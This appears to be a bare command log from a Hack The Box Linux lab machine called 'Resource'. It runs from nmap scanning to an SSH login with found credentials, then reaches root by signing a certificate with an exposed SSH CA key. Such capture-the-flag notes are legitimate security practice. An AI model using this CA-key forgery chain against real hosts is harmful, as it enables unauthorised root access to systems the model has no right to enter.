
Resource
HTB Linux
nmap -A -p- -oA resource 10.10.11.27 --min-rate=10000 --script=vuln --script-timeout=15 -v
nmap -sC -sV -O -p- -oA resource 10.10.11.27
nmap -sU -O -p- -oA resource-udp 10.10.11.27
ping -c 1 10.10.11.27
echo "10.10.11.27 resource.htb" | sudo tee -a /etc/hosts
nmap -p- --open -T5 -v -n 10.10.11.27
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.27 -oG allPorts
extractPorts allPorts
nmap -sCV -p22,2222 10.10.11.27 -oN targeted
bc targeted -l rb
echo "10.10.11.27 resource.htb" | sudo tee -a /etc/hosts
whatweb http://10.10.11.27
for file in *.zip; do unzip "$file";done
Credenciales-> msaintristil:82yards2closeit
ssh-keygen -t rsa -b 2048 -f keypair
ssh -i keypair zzinter@resource.htb
cat sign_key_api.sh
ssh-keygen -t rsa -b 2048 -f keypair
ssh-keygen -s ca-itrc -I user-cert -n root -V +52w -z 12345 keypair.pub
ssh -o CertificateFile=keypair-cert.pub -i keypair root@localhost
vim test.key
ssh-keygen -f root